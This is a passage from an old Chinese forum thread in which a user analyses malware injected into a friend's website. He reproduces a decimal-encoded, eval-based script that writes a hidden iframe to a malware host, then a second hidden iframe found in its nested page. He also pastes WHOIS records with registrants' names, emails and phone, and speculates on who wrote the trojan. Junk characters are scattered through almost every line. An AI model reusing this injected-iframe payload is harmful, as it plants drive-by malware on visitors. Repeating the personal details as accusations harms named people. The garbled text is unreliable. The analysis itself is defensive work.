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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, ~m:oJ+:O  
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http://www.areway.cn/?p=175 &PQhJ#YG  
?A4zIJ\  
Rcg q7W  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: tB S+?N  
          S#h-X(4  
<script>t=’60,105,102,114,97,109,101, oeV. K.  
32,115,114,99,61,104,116,116,112,58,47,47, ?4k/V6n@y  
102,114,101,101,46,117,45,117,117,117,46,99, _"_ 21uB  
110,47,101,114,114,111,114,46,104,116,109, ~e|RVY,  
32,119,105,100,116,104,61,49,48,48,32,104, k P]'  
101,105,103,104,116,61,48,62,60,47,105,102, Db:^Omw o  
114,97,109,101,62′; y vIeK6  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> 8 5 L<  
                                                                                                  Y -yozt  
<script>t=’60,105,102,114,97,109,101,32,115, 0m2%ucKw  
114,99,61,104,116,116,112,58,47,47,102,114, {}.M(nPtv;  
101,101,46,117,45,117,117,117,46,99,110,47, ZhqGUb  
101,114,114,111,114,46,104,116,109,32,119, t QR qQ  
105,100,116,104,61,49,48,48,32,104,101,105, JM&`&fsOC{  
103,104,116,61,48,62,60,47,105,102,114,97, ]>v C.iYp  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); :.DZ~I  
document.write(t);</script> xUW\P$  
                                                                                                  xDqJsp=]-  
<html xmlns=” 91f{qq=#J{  
http://www.w3.org/1999/xhtml 0P_=Oy"l-  
“> V ,+&.A23  
<head> =EJ8J;y_f  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> YCPU84f  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> Ew< sK9[o  
<title>首页 - 爱生活家庭网 7sX#6`t  
                                                                                                                                                    /Fr*k5I  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。  !n`9V^`  
转换字符串后的大概内容是(谁点击后果自付): ahh&h1q7|  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… FhP$R}F  
                                                                                                                                  eoj(zY3  
查询玉米u-uuu.cn的详细信息: t6q7 w  
Domain Name: u-uuu.cn 2y"L&3W  
ROID: 20070901s10001s64972306-cn @vc9L  
Domain Status: ok "g5<jp  
Registrant Organization: 王雷 &gLXS1O  
Registrant Name: 王雷 gB_gjn\  
Administrative Email: czlovexs@126.com i,h)V Cc  
Sponsoring Registrar: 北京万网志成科技有限公司 1b=,lm  
Name Server:ns.yovole.com >rhqhmh;W"  
Name Server:ns1.yovole.com w#d7  
Registration Date: 2007-09-01 17:54 v)j3YhY  
Expiration Date: 2008-09-01 17:54 FfRvi8  
最后PING了一下地址 都没有什么…. *ZkOZ  
                                                                                                RRb>]oD  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. 1rIL[(r4  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> K_Pbzj4(P  
<script language=”javascript” src=” Dn l|B\  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script l3Qt_I)L  
> ^\oMsU5(  
这个玉米应该有可能是木马作者的: tXCgRU  
foafau.info的详细信息: X Z=%XB:?  
Access to INFO WHOIS information is provided to assist persons in WCYVonbg"  
determining the contents of a domain name registration record in the Ofc u4pi  
Afilias registry database. The data in this record is provided by 3:aj8F2  
Afilias Limited for informational purposes only, and Afilias does not en"\2+{Cg  
guarantee its accuracy.  This service is intended only for query-based vkLKzsN' ]  
access. You agree that you will use this data only for lawful purposes Q5&|1m Pb  
and that, under no circumstances will you use this data to: (a) allow, yR% l[/ X  
enable, or otherwise support the transmission by e-mail, telephone, or _oHxpeM  
facsimile of mass unsolicited, commercial advertising or solicitations D4T42L  
to entities other than the data recipient’s own existing customers; or Nh01NY;  
(b) enable high volume, automated, electronic processes that send 65vsQ|Zw  
queries or data to the systems of Registry Operator, a Registrar, or ro+8d  
Afilias except as reasonably necessary to register domain names or ^U6VJ(58P  
modify existing registrations. All rights reserved. Afilias reserves C1uV7t*\  
the right to modify these terms at any time. By submitting this query, pwv mb\  
you agree to abide by this policy. 0Q~\1D 9g  
Domain ID:D22418703-LRMS x9o(q`N  
Domain Name:FOAFAU.INFO -;O"Y?ME  
Created On:20-Nov-2007 16:05:42 UTC Byh!Snoe  
Last Updated On:20-Nov-2007 16:05:44 UTC j|>^wB  
Expiration Date:20-Nov-2008 16:05:42 UTC Jim5Ul  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) v\g1 w&PN  
Status:CLIENT DELETE PROHIBITED vW0U~(XlN  
Status:CLIENT RENEW PROHIBITED I%jlM0ZUI"  
Status:CLIENT TRANSFER PROHIBITED ,ZZ5A;)  
Status:CLIENT UPDATE PROHIBITED KP`Pzx   
Status:TRANSFER PROHIBITED O<J<)_W)  
Registrant ID:GODA-040110615 yb-4[C:i  
Registrant Name:liu hong F9>"1  
Registrant Organization: `NQ;|!  
Registrant Street1:beijing wkY$J\J  
Registrant Street2: tqpSir  
Registrant Street3: R1Fcd@DWD  
Registrant City:beijing ;3iWV"&_A  
Registrant State/Province: vCn~- Q  
Registrant Postal Code:100000 z2jS(N?J1  
Registrant Country:CN wjTW{Bg~G  
Registrant Phone:+86.860108888777 &{bNa:@  
Registrant Phone Ext.: ?weuq"*a  
Registrant FAX: vcZ"4%w  
Registrant FAX Ext.: )1g\v8XT  
Registrant Email:bbbshiji@163.com {rzQ[_)EC  
Admin ID:GODA-240110615 #+ {%>f  
Admin Name:liu hong Pk6_1LV  
Admin Organization: w6ck wn,  
Admin Street1:beijing !{!(yP_  
Admin Street2: ([A%>u>h  
Admin Street3: `69xR[f  
Admin City:beijing Hn]6re  
Admin State/Province: bV:MOj^  
Admin Postal Code:100000 bR J]avR  
Admin Country:CN wS [k}  
Admin Phone:+86.860108888777 .PCbGPbk  
Admin Phone Ext.: } : T }N]  
Admin FAX: wsj5;(f+  
Admin FAX Ext.: ?{~. }Vn  
Admin Email:bbbshiji@163.com {~V_6wY g  
Billing ID:GODA-340110615 XcKyrh;i  
Billing Name:liu hong 0L \vi  
Billing Organization: 6-\C?w A  
Billing Street1:beijing 7'7o^> !  
Billing Street2: s5ILl wr  
Billing Street3: sh%%U  
Billing City:beijing 2\#~%D>[  
Billing State/Province: ,%KMi-w]q,  
Billing Postal Code:100000 CWkAc5  
Billing Country:CN ! H4uc  
Billing Phone:+86.860108888777 UO' X"`  
Billing Phone Ext.: \V*E:_w*  
Billing FAX: u73/#!(1=H  
Billing FAX Ext.: (N{  
Billing Email:bbbshiji@163.com Ifj%"RI  
Tech ID:GODA-140110615 c#pVN](?  
Tech Name:liu hong {'G u@l  
Tech Organization: yjucR Fl  
Tech Street1:beijing 4OdK@+-8U  
Tech Street2: w*AXD!}  
Tech Street3: {N0ky=u d  
Tech City:beijing _aOsFFB1KF  
Tech State/Province: #~[mn_C  
Tech Postal Code:100000 @TnAO8Q>XD  
Tech Country:CN `=#ry*E^:  
Tech Phone:+86.860108888777 ^Cn_ ODjo  
Tech Phone Ext.: _ 3>|1RB  
Tech FAX: |Vc:o_n7  
Tech FAX Ext.: \8S HX  
Tech Email:bbbshiji@163.com 0"M0tA#  
Name Server:NS27.DOMAINCONTROL.COM ^i~'aq  
Name Server:NS28.DOMAINCONTROL.COM XcQ'(  
Name Server: !& xc.39  
Name Server: U_e e3KKA  
Name Server: w5}2$r  
Name Server: Hy1f,D  
Name Server: "a >a "Ei  
Name Server: |h%fi-a:  
Name Server: V %Rz(a+c  
Name Server: ( j~trpe,  
Name Server: qxglA*/ [  
Name Server: dDla?)F  
Name Server: ic|>JX$G  
                                                                                                          ^7% KS  
接着下载每个文件里面的代码: y-CVyl  
一步一步看.. a0x/? )DO  
`F1 ( v  
Fu !sw]6xx  
EYF]&+ 9  
] Q\/si&  
&\o !-EIK8  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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别笑我浅溥,天真的以为用一腔真诚就能感动这个冷漠的世界。
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
级别: 终身会员
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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